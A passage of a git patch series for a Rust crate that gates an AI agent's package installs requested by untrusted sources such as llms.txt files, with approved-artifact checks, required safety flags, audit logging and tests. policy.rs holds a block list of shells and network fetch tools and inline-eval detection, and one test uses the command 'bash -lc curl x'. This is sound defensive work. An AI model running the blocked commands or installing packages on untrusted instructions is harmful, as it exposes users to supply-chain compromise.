name: String, + /// Exact package version. + pub version: String, + /// Normalized registry URL. + pub registry_url: String, + /// Claimed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, + /// Exact argv token that names the artifact to install. + pub artifact_argument: String, +} + +/// Provenance of the instruction that requested the install. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstructionSource { + /// Untrusted source category. + pub kind: InstructionSourceKind, + /// Canonical source URI when available. + pub uri: Option, + /// SHA-256 digest of the retrieved source content. + pub content_sha256: Option, +} + +/// Untrusted instruction source kinds. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum InstructionSourceKind { + /// `llms.txt` retrieved from a remote origin. + LlmsTxt, + /// `llms-full.txt` retrieved from a remote origin. + LlmsFullTxt, + /// Arbitrary web page content. + WebPage, + /// Issue or PR comment content. + IssueComment, + /// Local reviewed manifest or operator-entered content. + ReviewedConfig, +} + +/// Structured install request evaluated before any executor runs it. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstallIntent { + /// Stable request identifier supplied by the caller. + pub request_id: String, + /// Identity of the requesting agent or broker. + pub actor_id: String, + /// Workspace or repository identifier. + pub workspace_id: String, + /// Structured operation, limited to install in this slice. + pub operation: String, + /// Tokenized command vector; shell strings are forbidden upstream. + pub argv: Vec, + /// Exact reviewed dependency-manifest digest for the workspace. + pub manifest_sha256: String, + /// Instruction provenance. + pub source: InstructionSource, + /// Exact install artifacts represented in `argv`. + pub artifacts: Vec, +} + +impl InstallIntent { + /// Test helper representing an untrusted `llms.txt` package suggestion. + pub fn unowned_llms_package_for_test() -> Self { + Self { + request_id: "req-test-0001".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::LlmsTxt, + uri: Some("https://example.invalid/llms.txt".to_string()), + content_sha256: Some( + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + ), + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }], + } + } +} + +/// Deterministic allow/block result returned to the caller. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AdmissionDecision { + /// Original caller request identifier. + pub request_id: String, + /// Final policy decision. + pub decision: DecisionKind, + /// Stable machine-readable block reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Stable policy revision. + pub policy_revision: String, + /// Normalized source URI when present. + pub normalized_source_uri: Option, + /// SHA-256 of the structured command vector. + pub command_sha256: String, + /// Number of artifacts the caller asked to install. + pub artifact_count: usize, +} + +/// Admission outcome. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum DecisionKind { + /// The command exactly matches policy. + Allow, + /// The command must not be executed. + Block, +} + +impl DecisionKind { + /// Stable string form used by tests and callers that do not deserialize. + pub fn as_str(self) -> &'static str { + match self { + Self::Allow => "allow", + Self::Block => "block", + } + } +} + +/// Stable machine-readable block reason. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum ReasonCode { + /// No exact approved artifact matched the requested install. + ArtifactNotApproved, + /// No reviewed manifest matched the workspace digest. + ManifestNotApproved, + /// The executable is not on the explicit allowlist. + ExecutableNotAllowed, + /// The request omitted an executable. + MissingExecutable, +} + +impl ReasonCode { + /// Stable string form used by tests and audit sinks. + pub fn as_str(self) -> &'static str { + match self { + Self::ArtifactNotApproved => "artifact_not_approved", + Self::ManifestNotApproved => "manifest_not_approved", + Self::ExecutableNotAllowed => "executable_not_allowed", + Self::MissingExecutable => "missing_executable", + } + } +} diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs new file mode 100644 index 00000000..a3848eb1 --- /dev/null +++ b/crates/agent-artifact-admission/src/policy.rs @@ -0,0 +1,96 @@ +use crate::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, + InstallIntent, ReasonCode, +}; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { + let mut reason_codes = Vec::new(); + match intent.argv.first() { + Some(executable) + if policy + .allowed_executables + .iter() + .any(|allowed| allowed == executable) => {} + Some(_) => reason_codes.push(ReasonCode::ExecutableNotAllowed), + None => reason_codes.push(ReasonCode::MissingExecutable), + } + + if !policy.approved_manifests.iter().any(|manifest| { + manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 + }) { + reason_codes.push(ReasonCode::ManifestNotApproved); + } + + if intent.artifacts.is_empty() + || intent + .artifacts + .iter() + .any(|artifact| !artifact_is_approved(artifact, intent, policy)) + { + reason_codes.push(ReasonCode::ArtifactNotApproved); + } + + let decision = if reason_codes.is_empty() { + DecisionKind::Allow + } else { + DecisionKind::Block + }; + AdmissionDecision { + request_id: intent.request_id.clone(), + decision, + reason_codes, + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: intent.source.uri.clone(), + command_sha256: sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + artifact_count: intent.artifacts.len(), + } +} + +fn artifact_is_approved( + artifact: &ArtifactCoordinate, + intent: &InstallIntent, + policy: &AdmissionPolicy, +) -> bool { + if intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + { + return false; + } + policy.approved_artifacts.iter().any(|approved| { + exact_artifact_match(approved, artifact) + && approved.artifact_argument == artifact.artifact_argument + }) +} + +fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordinate) -> bool { + approved.ecosystem == artifact.ecosystem + && approved.name == artifact.name + && approved.version == artifact.version + && approved.registry_url == artifact.registry_url + && approved.owner == artifact.owner + && approved.sha256 == artifact.sha256 +} + +/// Return `true` when `value` is a lowercase hexadecimal SHA-256 digest. +pub fn is_sha256_hex(value: &str) -> bool { + value.len() == 64 + && value.as_bytes().iter().all(u8::is_ascii_hexdigit) + && value == value.to_ascii_lowercase() +} + +/// Hex-encode the SHA-256 digest of `input`. +pub fn sha256_hex(input: &[u8]) -> String { + let digest = ring::digest::digest(&ring::digest::SHA256, input); + let mut output = String::with_capacity(64); + for byte in digest.as_ref() { + use std::fmt::Write as _; + let _ = write!(&mut output, "{byte:02x}"); + } + output +} diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs new file mode 100644 index 00000000..d5a9ce40 --- /dev/null +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -0,0 +1,119 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, admission_decision, is_sha256_hex, sha256_hex, +}; + +#[test] +fn unowned_package_from_llms_txt_is_blocked() { + let policy = AdmissionPolicy::deny_all_for_test(); + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision.as_str(), "block"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn exact_policy_match_is_allowed() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + let intent = InstallIntent::unowned_llms_package_for_test(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.policy_id, "enterprise-default"); + assert_eq!(decision.policy_revision, "2026-08-28.1"); +} + +#[test] +fn duplicate_artifact_argument_blocks() { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent + .argv + .push(intent.artifacts[0].artifact_argument.clone()); + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn sha256_helpers_match_known_vectors() { + assert!(is_sha256_hex( + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + )); + assert!(!is_sha256_hex("ABC")); + assert_eq!( + sha256_hex(b""), + "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + ); + assert_eq!( + sha256_hex(b"abc"), + "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" + ); +} + +#[test] +fn artifact_coordinates_round_trip_with_strict_json() { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + + let encoded = serde_json::to_string(&artifact).unwrap(); + let decoded: ArtifactCoordinate = serde_json::from_str(&encoded).unwrap(); + assert_eq!(decoded, artifact); + assert!(serde_json::from_str::( + r#"{"ecosystem":"npm","name":"@cwl/example","version":"1.2.3","registry_url":"https://registry.npmjs.org","owner":"ContextualWisdomLab","sha256":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","artifact_argument":"@cwl/example@1.2.3","extra":true}"# + ) + .is_err()); +} From 30df4f9b2ca95a11bc50ba67fd17c9fde78820b7 Mon Sep 17 00:00:00 2001 From: OpenAI Codex Date: Fri, 28 Aug 2026 20:03:54 +0900 Subject: [PATCH 004/702] feat(security): harden agent artifact admission policy --- Cargo.lock | 1 + crates/agent-artifact-admission/Cargo.toml | 1 + crates/agent-artifact-admission/src/model.rs | 15 +++ crates/agent-artifact-admission/src/policy.rs | 126 +++++++++++++++++- .../tests/admission_contract.rs | 117 +++++++++++++++- 5 files changed, 255 insertions(+), 5 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 153312b3..7861539d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1385,6 +1385,7 @@ dependencies = [ "ring", "serde", "serde_json", + "url", ] [[package]] diff --git a/crates/agent-artifact-admission/Cargo.toml b/crates/agent-artifact-admission/Cargo.toml index 9ed7e5c2..71c26bc8 100644 --- a/crates/agent-artifact-admission/Cargo.toml +++ b/crates/agent-artifact-admission/Cargo.toml @@ -8,6 +8,7 @@ license = "MIT" [dependencies] ring = "0.17" serde = { version = "1", features = ["derive"] } +url = "2" [dev-dependencies] serde_json = "1" diff --git a/crates/agent-artifact-admission/src/model.rs b/crates/agent-artifact-admission/src/model.rs index cf90dace..39d420f8 100644 --- a/crates/agent-artifact-admission/src/model.rs +++ b/crates/agent-artifact-admission/src/model.rs @@ -223,6 +223,16 @@ pub enum ReasonCode { ExecutableNotAllowed, /// The request omitted an executable. MissingExecutable, + /// The request omitted a required remote source URI. + MissingSourceUri, + /// The request omitted a required source content digest. + MissingSourceDigest, + /// The request used an insecure or malformed source URI. + InvalidSourceUri, + /// The command path is forbidden even if otherwise allowlisted. + ForbiddenCommand, + /// The package manager invocation omitted a mandatory hardening flag. + MissingSafetyFlag, } impl ReasonCode { @@ -233,6 +243,11 @@ impl ReasonCode { Self::ManifestNotApproved => "manifest_not_approved", Self::ExecutableNotAllowed => "executable_not_allowed", Self::MissingExecutable => "missing_executable", + Self::MissingSourceUri => "missing_source_uri", + Self::MissingSourceDigest => "missing_source_digest", + Self::InvalidSourceUri => "invalid_source_uri", + Self::ForbiddenCommand => "forbidden_command", + Self::MissingSafetyFlag => "missing_safety_flag", } } } diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index a3848eb1..0bdda9d9 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -1,7 +1,8 @@ use crate::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, - InstallIntent, ReasonCode, + InstallIntent, InstructionSourceKind, ReasonCode, }; +use url::Url; /// Compute a deterministic fail-closed admission decision for one install intent. pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { @@ -16,10 +17,14 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A None => reason_codes.push(ReasonCode::MissingExecutable), } + validate_source(intent, &mut reason_codes); + validate_command_path(intent, &mut reason_codes); + validate_safety_flags(intent, &mut reason_codes); + if !policy.approved_manifests.iter().any(|manifest| { manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 }) { - reason_codes.push(ReasonCode::ManifestNotApproved); + push_reason(&mut reason_codes, ReasonCode::ManifestNotApproved); } if intent.artifacts.is_empty() @@ -28,7 +33,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A .iter() .any(|artifact| !artifact_is_approved(artifact, intent, policy)) { - reason_codes.push(ReasonCode::ArtifactNotApproved); + push_reason(&mut reason_codes, ReasonCode::ArtifactNotApproved); } let decision = if reason_codes.is_empty() { @@ -42,12 +47,63 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A reason_codes, policy_id: policy.policy_id.clone(), policy_revision: policy.policy_revision.clone(), - normalized_source_uri: intent.source.uri.clone(), + normalized_source_uri: normalized_source_uri(intent), command_sha256: sha256_hex(intent.argv.join("\u{1f}").as_bytes()), artifact_count: intent.artifacts.len(), } } +fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { + if !requires_remote_source_validation(intent.source.kind) { + return; + } + + match intent.source.uri.as_deref() { + Some(uri) if is_valid_remote_source_uri(uri) => {} + Some(_) => push_reason(reason_codes, ReasonCode::InvalidSourceUri), + None => push_reason(reason_codes, ReasonCode::MissingSourceUri), + } + + if !intent + .source + .content_sha256 + .as_deref() + .is_some_and(crate::is_sha256_hex) + { + push_reason(reason_codes, ReasonCode::MissingSourceDigest); + } +} + +fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + if is_forbidden_executable(executable) || requests_inline_eval(executable, &intent.argv[1..]) { + push_reason(reason_codes, ReasonCode::ForbiddenCommand); + } +} + +fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let args = &intent.argv[1..]; + let missing = match executable { + "npm" | "pnpm" | "yarn" | "bun" => !args.iter().any(|arg| arg == "--ignore-scripts"), + "pip" | "pip3" => !args.iter().any(|arg| arg == "--require-hashes"), + "cargo" if args.first().is_some_and(|arg| arg == "install") => { + !args.iter().any(|arg| arg == "--locked") + } + "uv" if args.first().is_some_and(|arg| arg == "pip") => { + !args.iter().any(|arg| arg == "--require-hashes") + } + _ => false, + }; + if missing { + push_reason(reason_codes, ReasonCode::MissingSafetyFlag); + } +} + fn artifact_is_approved( artifact: &ArtifactCoordinate, intent: &InstallIntent, @@ -68,6 +124,68 @@ fn artifact_is_approved( }) } +fn requires_remote_source_validation(kind: InstructionSourceKind) -> bool { + matches!( + kind, + InstructionSourceKind::LlmsTxt + | InstructionSourceKind::LlmsFullTxt + | InstructionSourceKind::WebPage + | InstructionSourceKind::IssueComment + ) +} + +fn normalized_source_uri(intent: &InstallIntent) -> Option { + let uri = intent.source.uri.as_deref()?; + let mut url = Url::parse(uri).ok()?; + url.set_query(None); + url.set_fragment(None); + Some(url.to_string()) +} + +fn is_valid_remote_source_uri(uri: &str) -> bool { + let Ok(url) = Url::parse(uri) else { + return false; + }; + url.scheme() == "https" + && url.username().is_empty() + && url.password().is_none() + && url.host_str().is_some() +} + +fn is_forbidden_executable(executable: &str) -> bool { + matches!( + executable, + "sh" | "bash" + | "zsh" + | "cmd" + | "powershell" + | "pwsh" + | "curl" + | "wget" + | "aria2c" + | "ftp" + | "scp" + | "npx" + | "pnpx" + | "bunx" + ) +} + +fn requests_inline_eval(executable: &str, args: &[String]) -> bool { + matches!( + executable, + "python" | "python3" | "node" | "ruby" | "perl" | "php" + ) && args + .iter() + .any(|arg| matches!(arg.as_str(), "-c" | "-e" | "--eval" | "--execute")) +} + +fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { + if !reason_codes.contains(&reason) { + reason_codes.push(reason); + } +} + fn exact_artifact_match(approved: &ApprovedArtifact, artifact: &ArtifactCoordinate) -> bool { approved.ecosystem == artifact.ecosystem && approved.name == artifact.name diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs index d5a9ce40..30965395 100644 --- a/crates/agent-artifact-admission/tests/admission_contract.rs +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, admission_decision, is_sha256_hex, sha256_hex, + InstallIntent, InstructionSourceKind, admission_decision, is_sha256_hex, sha256_hex, }; #[test] @@ -117,3 +117,118 @@ fn artifact_coordinates_round_trip_with_strict_json() { ) .is_err()); } + +#[test] +fn remote_sources_require_https_uri_and_digest() { + let mut policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + policy.approved_artifacts[0].owner = "Unowned".to_string(); + intent.source.uri = Some("http://example.invalid/llms.txt?raw=1#frag".to_string()); + intent.source.content_sha256 = None; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "invalid_source_uri") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_source_digest") + ); +} + +#[test] +fn forbidden_commands_block_even_when_allowlisted() { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.allowed_executables = vec!["bash".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + let intent = InstallIntent { + request_id: "req-test-0002".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["bash".to_string(), "-lc".to_string(), "curl x".to_string()], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: wardnet_agent_artifact_admission::InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "shell".to_string(), + name: "bash".to_string(), + version: "5.0.0".to_string(), + registry_url: "https://example.invalid".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "bash".to_string(), + }], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + +#[test] +fn npm_installs_require_ignore_scripts_and_source_uri_is_normalized() { + let policy = approved_policy_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + ]; + intent.source.uri = Some("https://example.invalid/llms.txt?raw=1#frag".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag") + ); +} + +fn approved_policy_for_test() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-08-28.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} From b82edf2dbbf205dda0dc8c84fbdd0a321d9990d4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:33:03 -0700 Subject: [PATCH 005/702] test(security): lock admission audit durability contract --- .../tests/audit_contract.rs | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/audit_contract.rs diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs new file mode 100644 index 00000000..14dba85d --- /dev/null +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -0,0 +1,120 @@ +use std::fs; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AuditSink, FileAuditSink, InstallIntent, MemoryAuditSink, admission_decision, + build_audit_record, +}; + +fn sensitive_blocked_attempt() -> ( + InstallIntent, + wardnet_agent_artifact_admission::AdmissionDecision, +) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv.push("sk-test-secret-raw-command".to_string()); + intent.source.uri = Some( + "https://example.invalid/llms.txt?token=sk-test-secret-query#secret-fragment".to_string(), + ); + let decision = admission_decision(&AdmissionPolicy::deny_all_for_test(), &intent); + (intent, decision) +} + +fn temp_path(label: &str) -> std::path::PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("system clock must be after the Unix epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-admission-{label}-{}-{nonce}.ndjson", + std::process::id() + )) +} + +#[test] +fn audit_record_minimizes_untrusted_command_and_source_data() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let json = serde_json::to_string(&record).expect("audit record must serialize"); + + assert!(record.timestamp_unix_ms > 0); + assert_eq!(record.request_id, intent.request_id); + assert_eq!(record.actor_id, intent.actor_id); + assert_eq!(record.workspace_id, intent.workspace_id); + assert_eq!(record.operation, "install"); + assert_eq!(record.command_sha256, decision.command_sha256); + assert_eq!( + record.normalized_source_uri.as_deref(), + Some("https://example.invalid/llms.txt") + ); + assert_eq!(record.artifacts.len(), 1); + assert_eq!(record.artifacts[0].name, "@unowned/example"); + assert_eq!( + record.artifacts[0].sha256, + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + ); + + assert!(!json.contains("sk-test-secret-raw-command")); + assert!(!json.contains("sk-test-secret-query")); + assert!(!json.contains("secret-fragment")); + assert!(!json.contains("artifact_argument")); + assert!(!json.contains("\"argv\"")); +} + +#[test] +fn memory_sink_preserves_complete_records_in_append_order() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = MemoryAuditSink::default(); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let records = sink.records().expect("memory audit snapshot must succeed"); + assert_eq!(records, vec![record.clone(), record]); +} + +#[test] +fn file_sink_appends_complete_synchronized_ndjson_records() { + let path = temp_path("append"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path.clone()); + + sink.append(&record).expect("first append must succeed"); + sink.append(&record).expect("second append must succeed"); + + let body = fs::read_to_string(&path).expect("audit file must be readable"); + let lines: Vec<_> = body.lines().collect(); + assert_eq!(lines.len(), 2); + for line in lines { + let parsed: serde_json::Value = + serde_json::from_str(line).expect("each audit line must be complete JSON"); + assert_eq!(parsed["request_id"], intent.request_id); + } + + let _ = fs::remove_file(path); +} + +#[test] +fn file_sink_rejects_oversized_serialized_record_without_writing() { + let path = temp_path("oversized"); + let (mut intent, decision) = sensitive_blocked_attempt(); + intent.actor_id = "x".repeat(70 * 1024); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path.clone()); + + assert!(sink.append(&record).is_err()); + assert!(!path.exists()); +} + +#[test] +fn file_sink_reports_deterministic_storage_failure() { + let path = temp_path("missing-parent") + .with_extension("") + .join("audit.ndjson"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision); + let sink = FileAuditSink::new(path); + + assert!(sink.append(&record).is_err()); +} From 68a3ae3edfa2f2e98003962c363f0f2d1fc05489 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 28 Aug 2026 21:34:15 -0700 Subject: [PATCH 006/702] feat(security): add minimized admission audit sinks --- crates/agent-artifact-admission/src/audit.rs | 222 +++++++++++++++++++ 1 file changed, 222 insertions(+) create mode 100644 crates/agent-artifact-admission/src/audit.rs diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs new file mode 100644 index 00000000..4ca5f390 --- /dev/null +++ b/crates/agent-artifact-admission/src/audit.rs @@ -0,0 +1,222 @@ +use std::fmt; +use std::fs::{File, OpenOptions}; +use std::io::{self, Write}; +use std::path::{Path, PathBuf}; +use std::sync::Mutex; +use std::time::{SystemTime, UNIX_EPOCH}; + +use serde::{Deserialize, Serialize}; + +use crate::{ + AdmissionDecision, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, + ReasonCode, +}; + +const MAX_AUDIT_LINE_BYTES: usize = 64 * 1024; + +/// Minimized content-addressed artifact identity persisted in audit evidence. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditArtifact { + /// Package ecosystem, such as `npm` or `cargo`. + pub ecosystem: String, + /// Exact package name. + pub name: String, + /// Exact package version. + pub version: String, + /// Reviewed normalized registry URL. + pub registry_url: String, + /// Reviewed package owner or publisher label. + pub owner: String, + /// Exact artifact SHA-256 digest. + pub sha256: String, +} + +impl From<&ArtifactCoordinate> for AuditArtifact { + fn from(artifact: &ArtifactCoordinate) -> Self { + Self { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + } + } +} + +/// Durable, minimized evidence for one authenticated admission attempt. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct AuditRecord { + /// Milliseconds since the Unix epoch when the record was constructed. + pub timestamp_unix_ms: u128, + /// Caller-supplied stable request identifier. + pub request_id: String, + /// Identity of the requesting agent or broker. + pub actor_id: String, + /// Workspace or repository identifier. + pub workspace_id: String, + /// Structured operation, such as `install`. + pub operation: String, + /// Final fail-closed decision. + pub decision: DecisionKind, + /// Stable machine-readable decision reasons. + pub reason_codes: Vec, + /// Stable policy identifier. + pub policy_id: String, + /// Immutable policy revision identifier. + pub policy_revision: String, + /// Instruction-source kind without untrusted raw content. + pub source_kind: InstructionSourceKind, + /// Source URI after 